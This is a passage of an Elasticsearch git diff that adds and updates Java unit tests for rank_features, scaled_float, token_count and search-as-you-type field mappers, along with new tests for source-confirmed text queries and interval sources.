supportsStoredFields() { + return false; + } + + @Override + protected void registerParameters(ParameterChecker checker) throws IOException { + checker.registerConflictCheck("positive_score_impact", b -> b.field("positive_score_impact", false)); } @Override @@ -80,6 +87,33 @@ public void testDefaults() throws Exception { assertTrue(freq1 < freq2); } + public void testNegativeScoreImpact() throws Exception { + DocumentMapper mapper = createDocumentMapper( + fieldMapping(b -> b.field("type", "rank_features").field("positive_score_impact", false)) + ); + + ParsedDocument doc1 = mapper.parse(source(this::writeField)); + + IndexableField[] fields = doc1.rootDoc().getFields("field"); + assertEquals(2, fields.length); + assertThat(fields[0], Matchers.instanceOf(FeatureField.class)); + FeatureField featureField1 = null; + FeatureField featureField2 = null; + for (IndexableField field : fields) { + if (field.stringValue().equals("ten")) { + featureField1 = (FeatureField)field; + } else if (field.stringValue().equals("twenty")) { + featureField2 = (FeatureField)field; + } else { + throw new UnsupportedOperationException(); + } + } + + int freq1 = RankFeatureFieldMapperTests.getFrequency(featureField1.tokenStream(null, null)); + int freq2 = RankFeatureFieldMapperTests.getFrequency(featureField2.tokenStream(null, null)); + assertTrue(freq1 > freq2); + } + public void testRejectMultiValuedFields() throws MapperParsingException, IOException { DocumentMapper mapper = createDocumentMapper(mapping(b -> { b.startObject("field").field("type", "rank_features").endObject(); @@ -108,4 +142,27 @@ public void testRejectMultiValuedFields() throws MapperParsingException, IOExcep assertEquals("[rank_features] fields do not support indexing multiple values for the same rank feature [foo.field.bar] in " + "the same document", e.getCause().getMessage()); } + + public void testCannotBeUsedInMultifields() { + Exception e = expectThrows(MapperParsingException.class, () -> createMapperService(fieldMapping(b -> { + b.field("type", "keyword"); + b.startObject("fields"); + b.startObject("feature"); + b.field("type", "rank_features"); + b.endObject(); + b.endObject(); + }))); + assertThat(e.getMessage(), containsString("Field [feature] of type [rank_features] can't be used in multifields")); + } + + @Override + protected Object generateRandomInputValue(MappedFieldType ft) { + assumeFalse("Test implemented in a follow up", true); + return null; + } + + @Override + protected boolean allowsNullValues() { + return false; // TODO should this allow null values? + } } diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldTypeTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldTypeTests.java index 7ca39594bf6ec..595f4827afc5a 100644 --- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldTypeTests.java +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldTypeTests.java @@ -13,7 +13,7 @@ public class RankFeaturesFieldTypeTests extends FieldTypeTestCase { public void testIsNotAggregatable() { - MappedFieldType fieldType = new RankFeaturesFieldMapper.RankFeaturesFieldType("field", Collections.emptyMap()); + MappedFieldType fieldType = new RankFeaturesFieldMapper.RankFeaturesFieldType("field", Collections.emptyMap(), true); assertFalse(fieldType.isAggregatable()); } } diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapperTests.java index 96ba6b7cd4655..39fd6333b1dbd 100644 --- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapperTests.java +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapperTests.java @@ -271,4 +271,30 @@ public void testRejectIndexOptions() { containsString("Failed to parse mapping: unknown parameter [index_options] on mapper [field] of type [scaled_float]")); } + @Override + protected void randomFetchTestFieldConfig(XContentBuilder b) throws IOException { + // Large floats are a terrible idea but the round trip should still work no matter how badly you configure the field + b.field("type", "scaled_float").field("scaling_factor", randomDoubleBetween(0, Float.MAX_VALUE, true)); + } + + @Override + protected Object generateRandomInputValue(MappedFieldType ft) { + /* + * randomDoubleBetween will smear the random values out across a huge + * range of valid values. + */ + double v = randomDoubleBetween(-Float.MAX_VALUE, Float.MAX_VALUE, true); + switch (between(0, 3)) { + case 0: + return v; + case 1: + return (float) v; + case 2: + return Double.toString(v); + case 3: + return Float.toString((float) v); + default: + throw new IllegalArgumentException(); + } + } } diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapperTests.java index 5a6acbfc71f64..c48deb423c05a 100644 --- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapperTests.java +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapperTests.java @@ -745,4 +745,10 @@ private static PrefixFieldMapper getPrefixFieldMapper(DocumentMapper defaultMapp assertThat(mapper, instanceOf(PrefixFieldMapper.class)); return (PrefixFieldMapper) mapper; } + + @Override + protected Object generateRandomInputValue(MappedFieldType ft) { + assumeFalse("We don't have doc values or fielddata", true); + return null; + } } diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/TokenCountFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/TokenCountFieldMapperTests.java index f5167c924186d..1af19b60d27e1 100644 --- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/TokenCountFieldMapperTests.java +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/TokenCountFieldMapperTests.java @@ -177,4 +177,20 @@ private ParseContext.Document parseDocument(DocumentMapper mapper, SourceToParse return mapper.parse(request) .docs().stream().findFirst().orElseThrow(() -> new IllegalStateException("Test object not parsed")); } + + @Override + protected String generateRandomInputValue(MappedFieldType ft) { + int words = between(1, 1000); + StringBuilder b = new StringBuilder(words * 5); + b.append(randomAlphaOfLength(4)); + for (int w = 1; w < words; w++) { + b.append(' ').append(randomAlphaOfLength(4)); + } + return b.toString(); + } + + @Override + protected void randomFetchTestFieldConfig(XContentBuilder b) throws IOException { + b.field("type", "token_count").field("analyzer", "standard"); + } } diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/query/SourceConfirmedTextQueryTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/query/SourceConfirmedTextQueryTests.java new file mode 100644 index 0000000000000..249b02eed1614 --- /dev/null +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/query/SourceConfirmedTextQueryTests.java @@ -0,0 +1,420 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.query; + +import org.apache.lucene.document.Document; +import org.apache.lucene.document.Field.Store; +import org.apache.lucene.document.TextField; +import org.apache.lucene.index.DirectoryReader; +import org.apache.lucene.index.IndexReader; +import org.apache.lucene.index.IndexWriter; +import org.apache.lucene.index.LeafReaderContext; +import org.apache.lucene.index.Term; +import org.apache.lucene.search.BooleanClause.Occur; +import org.apache.lucene.search.BooleanQuery; +import org.apache.lucene.search.CheckHits; +import org.apache.lucene.search.IndexSearcher; +import org.apache.lucene.search.MatchNoDocsQuery; +import org.apache.lucene.search.MultiPhraseQuery; +import org.apache.lucene.search.PhraseQuery; +import org.apache.lucene.search.PrefixQuery; +import org.apache.lucene.search.Query; +import org.apache.lucene.search.ScoreDoc; +import org.apache.lucene.search.TermQuery; +import org.apache.lucene.search.spans.SpanNearQuery; +import org.apache.lucene.search.spans.SpanQuery; +import org.apache.lucene.search.spans.SpanTermQuery; +import org.apache.lucene.store.Directory; +import org.elasticsearch.common.CheckedIntFunction; +import org.elasticsearch.common.lucene.Lucene; +import org.elasticsearch.common.lucene.search.MultiPhrasePrefixQuery; +import org.elasticsearch.test.ESTestCase; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.function.Function; + +public class SourceConfirmedTextQueryTests extends ESTestCase { + + private static final Function, IOException>> SOURCE_FETCHER_PROVIDER = context -> { + return docID -> Collections.singletonList(context.reader().document(docID).get("body")); + }; + + public void testTerm() throws Exception { + try (Directory dir = newDirectory(); IndexWriter w = new IndexWriter(dir, newIndexWriterConfig(Lucene.STANDARD_ANALYZER))) { + + Document doc = new Document(); + doc.add(new TextField("body", "a b c b a b c", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b d", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b c d", Store.YES)); + w.addDocument(doc); + + try (IndexReader reader = DirectoryReader.open(w)) { + IndexSearcher searcher = new IndexSearcher(reader); + + TermQuery query = new TermQuery(new Term("body", "c")); + Query sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + ScoreDoc[] phraseHits = searcher.search(query, 10).scoreDocs; + assertEquals(2, phraseHits.length); + ScoreDoc[] sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phraseHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + + // Term query with missing term + query = new TermQuery(new Term("body", "e")); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + } + } + } + + public void testPhrase() throws Exception { + try (Directory dir = newDirectory(); IndexWriter w = new IndexWriter(dir, newIndexWriterConfig(Lucene.STANDARD_ANALYZER))) { + + Document doc = new Document(); + doc.add(new TextField("body", "a b c b a b c", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b d", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b c d", Store.YES)); + w.addDocument(doc); + + try (IndexReader reader = DirectoryReader.open(w)) { + IndexSearcher searcher = new IndexSearcher(reader); + + PhraseQuery query = new PhraseQuery("body", "b", "c"); + Query sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + ScoreDoc[] phraseHits = searcher.search(query, 10).scoreDocs; + assertEquals(2, phraseHits.length); + ScoreDoc[] sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phraseHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + + // Sloppy phrase query + query = new PhraseQuery(1, "body", "b", "d"); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + phraseHits = searcher.search(query, 10).scoreDocs; + assertEquals(2, phraseHits.length); + sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phraseHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + + // Phrase query with no matches + query = new PhraseQuery("body", "d", "c"); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + + // Phrase query with one missing term + query = new PhraseQuery("body", "b", "e"); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + } + } + } + + public void testMultiPhrase() throws Exception { + try (Directory dir = newDirectory(); IndexWriter w = new IndexWriter(dir, newIndexWriterConfig(Lucene.STANDARD_ANALYZER))) { + + Document doc = new Document(); + doc.add(new TextField("body", "a b c b a b c", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b d", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b c d", Store.YES)); + w.addDocument(doc); + + try (IndexReader reader = DirectoryReader.open(w)) { + IndexSearcher searcher = new IndexSearcher(reader); + + MultiPhraseQuery query = new MultiPhraseQuery.Builder().add(new Term[] { new Term("body", "a"), new Term("body", "b") }, 0) + .add(new Term[] { new Term("body", "c") }, 1) + .build(); + + Query sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + + ScoreDoc[] phraseHits = searcher.search(query, 10).scoreDocs; + assertEquals(2, phraseHits.length); + ScoreDoc[] sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phraseHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + + // Sloppy multi phrase query + query = new MultiPhraseQuery.Builder().add(new Term[] { new Term("body", "a"), new Term("body", "b") }, 0) + .add(new Term[] { new Term("body", "d") }, 1) + .setSlop(1) + .build(); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + phraseHits = searcher.search(query, 10).scoreDocs; + assertEquals(2, phraseHits.length); + sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phraseHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + + // Multi phrase query with no matches + query = new MultiPhraseQuery.Builder().add(new Term[] { new Term("body", "d"), new Term("body", "c") }, 0) + .add(new Term[] { new Term("body", "a") }, 1) + .build(); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + + // Multi phrase query with one missing term + query = new MultiPhraseQuery.Builder().add(new Term[] { new Term("body", "d"), new Term("body", "c") }, 0) + .add(new Term[] { new Term("body", "e") }, 1) + .build(); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + } + } + } + + public void testMultiPhrasePrefix() throws Exception { + try (Directory dir = newDirectory(); IndexWriter w = new IndexWriter(dir, newIndexWriterConfig(Lucene.STANDARD_ANALYZER))) { + + Document doc = new Document(); + doc.add(new TextField("body", "a b cd b a b cd", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b d", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b cd e", Store.YES)); + w.addDocument(doc); + + try (IndexReader reader = DirectoryReader.open(w)) { + IndexSearcher searcher = new IndexSearcher(reader); + + MultiPhrasePrefixQuery query = new MultiPhrasePrefixQuery("body"); + Query sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + ScoreDoc[] phrasePrefixHits = searcher.search(query, 10).scoreDocs; + ScoreDoc[] sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phrasePrefixHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + + query = new MultiPhrasePrefixQuery("body"); + query.add(new Term("body", "c")); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + phrasePrefixHits = searcher.search(query, 10).scoreDocs; + sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phrasePrefixHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + + query = new MultiPhrasePrefixQuery("body"); + query.add(new Term("body", "b")); + query.add(new Term("body", "c")); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + phrasePrefixHits = searcher.search(query, 10).scoreDocs; + sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phrasePrefixHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + + // Sloppy multi phrase prefix query + query = new MultiPhrasePrefixQuery("body"); + query.add(new Term("body", "a")); + query.add(new Term("body", "c")); + query.setSlop(2); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + phrasePrefixHits = searcher.search(query, 10).scoreDocs; + sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, phrasePrefixHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + + // Multi phrase prefix query with no matches + query = new MultiPhrasePrefixQuery("body"); + query.add(new Term("body", "d")); + query.add(new Term("body", "b")); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + + // Multi phrase query with one missing term + query = new MultiPhrasePrefixQuery("body"); + query.add(new Term("body", "d")); + query.add(new Term("body", "f")); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(0, searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + } + } + } + + public void testSpanNear() throws Exception { + try (Directory dir = newDirectory(); IndexWriter w = new IndexWriter(dir, newIndexWriterConfig(Lucene.STANDARD_ANALYZER))) { + + Document doc = new Document(); + doc.add(new TextField("body", "a b c b a b c", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b d", Store.YES)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new TextField("body", "b c d", Store.YES)); + w.addDocument(doc); + + try (IndexReader reader = DirectoryReader.open(w)) { + IndexSearcher searcher = new IndexSearcher(reader); + + SpanNearQuery query = new SpanNearQuery( + new SpanQuery[] { new SpanTermQuery(new Term("body", "b")), new SpanTermQuery(new Term("body", "c")) }, + 0, + false + ); + Query sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + ScoreDoc[] spanHits = searcher.search(query, 10).scoreDocs; + assertEquals(2, spanHits.length); + ScoreDoc[] sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, spanHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + + // Sloppy span near query + query = new SpanNearQuery( + new SpanQuery[] { new SpanTermQuery(new Term("body", "b")), new SpanTermQuery(new Term("body", "c")) }, + 1, + false + ); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + spanHits = searcher.search(query, 10).scoreDocs; + assertEquals(2, spanHits.length); + sourceConfirmedHits = searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs; + CheckHits.checkEqual(query, spanHits, sourceConfirmedHits); + CheckHits.checkExplanations(sourceConfirmedPhraseQuery, "body", searcher); + + // Span near query with no matches + query = new SpanNearQuery( + new SpanQuery[] { new SpanTermQuery(new Term("body", "a")), new SpanTermQuery(new Term("body", "d")) }, + 0, + false + ); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + + // Span near query with one missing term + query = new SpanNearQuery( + new SpanQuery[] { new SpanTermQuery(new Term("body", "b")), new SpanTermQuery(new Term("body", "e")) }, + 0, + false + ); + sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(searcher.count(query), searcher.count(sourceConfirmedPhraseQuery)); + assertArrayEquals(new ScoreDoc[0], searcher.search(sourceConfirmedPhraseQuery, 10).scoreDocs); + } + } + } + + public void testToString() { + PhraseQuery query = new PhraseQuery("body", "b", "c"); + Query sourceConfirmedPhraseQuery = new SourceConfirmedTextQuery(query, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(query.toString(), sourceConfirmedPhraseQuery.toString()); + } + + public void testEqualsHashCode() { + PhraseQuery query1 = new PhraseQuery("body", "b", "c"); + Query sourceConfirmedPhraseQuery1 = new SourceConfirmedTextQuery(query1, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + + assertEquals(sourceConfirmedPhraseQuery1, sourceConfirmedPhraseQuery1); + assertEquals(sourceConfirmedPhraseQuery1.hashCode(), sourceConfirmedPhraseQuery1.hashCode()); + + PhraseQuery query2 = new PhraseQuery("body", "b", "c"); + Query sourceConfirmedPhraseQuery2 = new SourceConfirmedTextQuery(query2, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertEquals(sourceConfirmedPhraseQuery1, sourceConfirmedPhraseQuery2); + + PhraseQuery query3 = new PhraseQuery("body", "b", "d"); + Query sourceConfirmedPhraseQuery3 = new SourceConfirmedTextQuery(query3, SOURCE_FETCHER_PROVIDER, Lucene.STANDARD_ANALYZER); + assertNotEquals(sourceConfirmedPhraseQuery1, sourceConfirmedPhraseQuery3); + + Query sourceConfirmedPhraseQuery4 = new SourceConfirmedTextQuery(query1, context -> null, Lucene.STANDARD_ANALYZER); + assertNotEquals(sourceConfirmedPhraseQuery1, sourceConfirmedPhraseQuery4); + + Query sourceConfirmedPhraseQuery5 = new SourceConfirmedTextQuery(query1, SOURCE_FETCHER_PROVIDER, Lucene.KEYWORD_ANALYZER); + assertNotEquals(sourceConfirmedPhraseQuery1, sourceConfirmedPhraseQuery5); + } + + public void testApproximation() { + assertEquals( + new TermQuery(new Term("body", "text")), + SourceConfirmedTextQuery.approximate(new TermQuery(new Term("body", "text"))) + ); + + assertEquals( + new BooleanQuery.Builder().add(new TermQuery(new Term("body", "a")), Occur.FILTER) + .add(new TermQuery(new Term("body", "b")), Occur.FILTER) + .build(), + SourceConfirmedTextQuery.approximate(new PhraseQuery("body", "a", "b")) + ); + + MultiPhraseQuery query = new MultiPhraseQuery.Builder().add(new Term("body", "a")) + .add(new Term[] { new Term("body", "b"), new Term("body", "c") }) + .build(); + Query approximation = new BooleanQuery.Builder().add( + new BooleanQuery.Builder().add(new TermQuery(new Term("body", "a")), Occur.SHOULD).build(), + Occur.FILTER + ) + .add( + new BooleanQuery.Builder().add(new TermQuery(new Term("body", "b")), Occur.SHOULD) + .add(new TermQuery(new Term("body", "c")), Occur.SHOULD) + .build(), + Occur.FILTER + ) + .build(); + assertEquals(approximation, SourceConfirmedTextQuery.approximate(query)); + + MultiPhrasePrefixQuery phrasePrefixQuery = new MultiPhrasePrefixQuery("body"); + assertEquals(new MatchNoDocsQuery(), SourceConfirmedTextQuery.approximate(phrasePrefixQuery)); + + phrasePrefixQuery.add(new Term("body", "apache")); + approximation = new BooleanQuery.Builder().add(new PrefixQuery(new Term("body", "apache")), Occur.FILTER).build(); + assertEquals(approximation, SourceConfirmedTextQuery.approximate(phrasePrefixQuery)); + + phrasePrefixQuery.add(new Term("body", "luc")); + approximation = new BooleanQuery.Builder().add( + new BooleanQuery.Builder().add(new TermQuery(new Term("body", "apache")), Occur.SHOULD).build(), + Occur.FILTER + ).build(); + assertEquals(approximation, SourceConfirmedTextQuery.approximate(phrasePrefixQuery)); + } +} diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/query/SourceIntervalsSourceTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/query/SourceIntervalsSourceTests.java new file mode 100644 index 0000000000000..a5a742a8f1a77 --- /dev/null +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/query/SourceIntervalsSourceTests.java @@ -0,0 +1,138 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.query; + +import org.apache.lucene.document.Document; +import org.apache.lucene.document.Field; +import org.apache.lucene.document.FieldType; +import org.apache.lucene.document.TextField; +import org.apache.lucene.index.DirectoryReader; +import org.apache.lucene.index.IndexOptions; +import org.apache.lucene.index.IndexReader; +import org.apache.lucene.index.IndexWriter; +import org.apache.lucene.index.LeafReaderContext; +import org.apache.lucene.index.NoMergePolicy; +import org.apache.lucene.index.Term; +import org.apache.lucene.queries.intervals.IntervalIterator; +import org.apache.lucene.queries.intervals.Intervals; +import org.apache.lucene.queries.intervals.IntervalsSource; +import org.apache.lucene.search.DocIdSetIterator; +import org.apache.lucene.search.MatchAllDocsQuery; +import org.apache.lucene.search.TermQuery; +import org.apache.lucene.store.Directory; +import org.apache.lucene.util.BytesRef; +import org.elasticsearch.common.CheckedIntFunction; +import org.elasticsearch.common.lucene.Lucene; +import org.elasticsearch.test.ESTestCase; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.function.Function; + +public class SourceIntervalsSourceTests extends ESTestCase { + + private static final Function, IOException>> SOURCE_FETCHER_PROVIDER = context -> { + return docID -> Collections.singletonList(context.reader().document(docID).get("body")); + }; + + public void testIntervals() throws IOException { + final FieldType ft = new FieldType(TextField.TYPE_STORED); + ft.setIndexOptions(IndexOptions.DOCS); + ft.freeze(); + try (Directory dir = newDirectory(); IndexWriter w = new IndexWriter(dir, newIndexWriterConfig(Lucene.STANDARD_ANALYZER) + .setMergePolicy(NoMergePolicy.INSTANCE))) { + + Document doc = new Document(); + doc.add(new Field("body", "a b", ft)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new Field("body", "b d a d", ft)); + w.addDocument(doc); + + doc = new Document(); + doc.add(new Field("body", "b c d", ft)); + w.addDocument(doc); + + DirectoryReader.open(w).close(); + + doc = new Document(); + w.addDocument(doc); + + try (IndexReader reader = DirectoryReader.open(w)) { + assertEquals(2, reader.leaves().size()); + + IntervalsSource source = new SourceIntervalsSource( + Intervals.term(new BytesRef("d")), + new TermQuery(new Term("body", "d")), + SOURCE_FETCHER_PROVIDER, + Lucene.STANDARD_ANALYZER); + + IntervalIterator intervals = source.intervals("body", reader.leaves().get(0)); + + assertEquals(1, intervals.nextDoc()); + assertEquals(-1, intervals.start()); + assertEquals(-1, intervals.end()); + assertEquals(1, intervals.nextInterval()); + assertEquals(1, intervals.start()); + assertEquals(1, intervals.end()); + assertEquals(3, intervals.nextInterval()); + assertEquals(3, intervals.start()); + assertEquals(3, intervals.end()); + assertEquals(IntervalIterator.NO_MORE_INTERVALS, intervals.nextInterval()); + + assertEquals(2, intervals.nextDoc()); + assertEquals(-1, intervals.start()); + assertEquals(-1, intervals.end()); + assertEquals(2, intervals.nextInterval()); + assertEquals(2, intervals.start()); + assertEquals(2, intervals.end()); + assertEquals(IntervalIterator.NO_MORE_INTERVALS, intervals.nextInterval()); + + assertEquals(DocIdSetIterator.NO_MORE_DOCS, intervals.nextDoc()); + + assertEquals(null, source.intervals("body", reader.leaves().get(1))); + + // Same test, but with a bad approximation now + source = new SourceIntervalsSource( + Intervals.term(new BytesRef("d")), + new MatchAllDocsQuery(), + SOURCE_FETCHER_PROVIDER, + Lucene.STANDARD_ANALYZER); + + intervals = source.intervals("body", reader.leaves().get(0)); + + assertEquals(1, intervals.nextDoc()); + assertEquals(-1, intervals.start()); + assertEquals(-1, intervals.end()); + assertEquals(1, intervals.nextInterval()); + assertEquals(1, intervals.start()); + assertEquals(1, intervals.end()); + 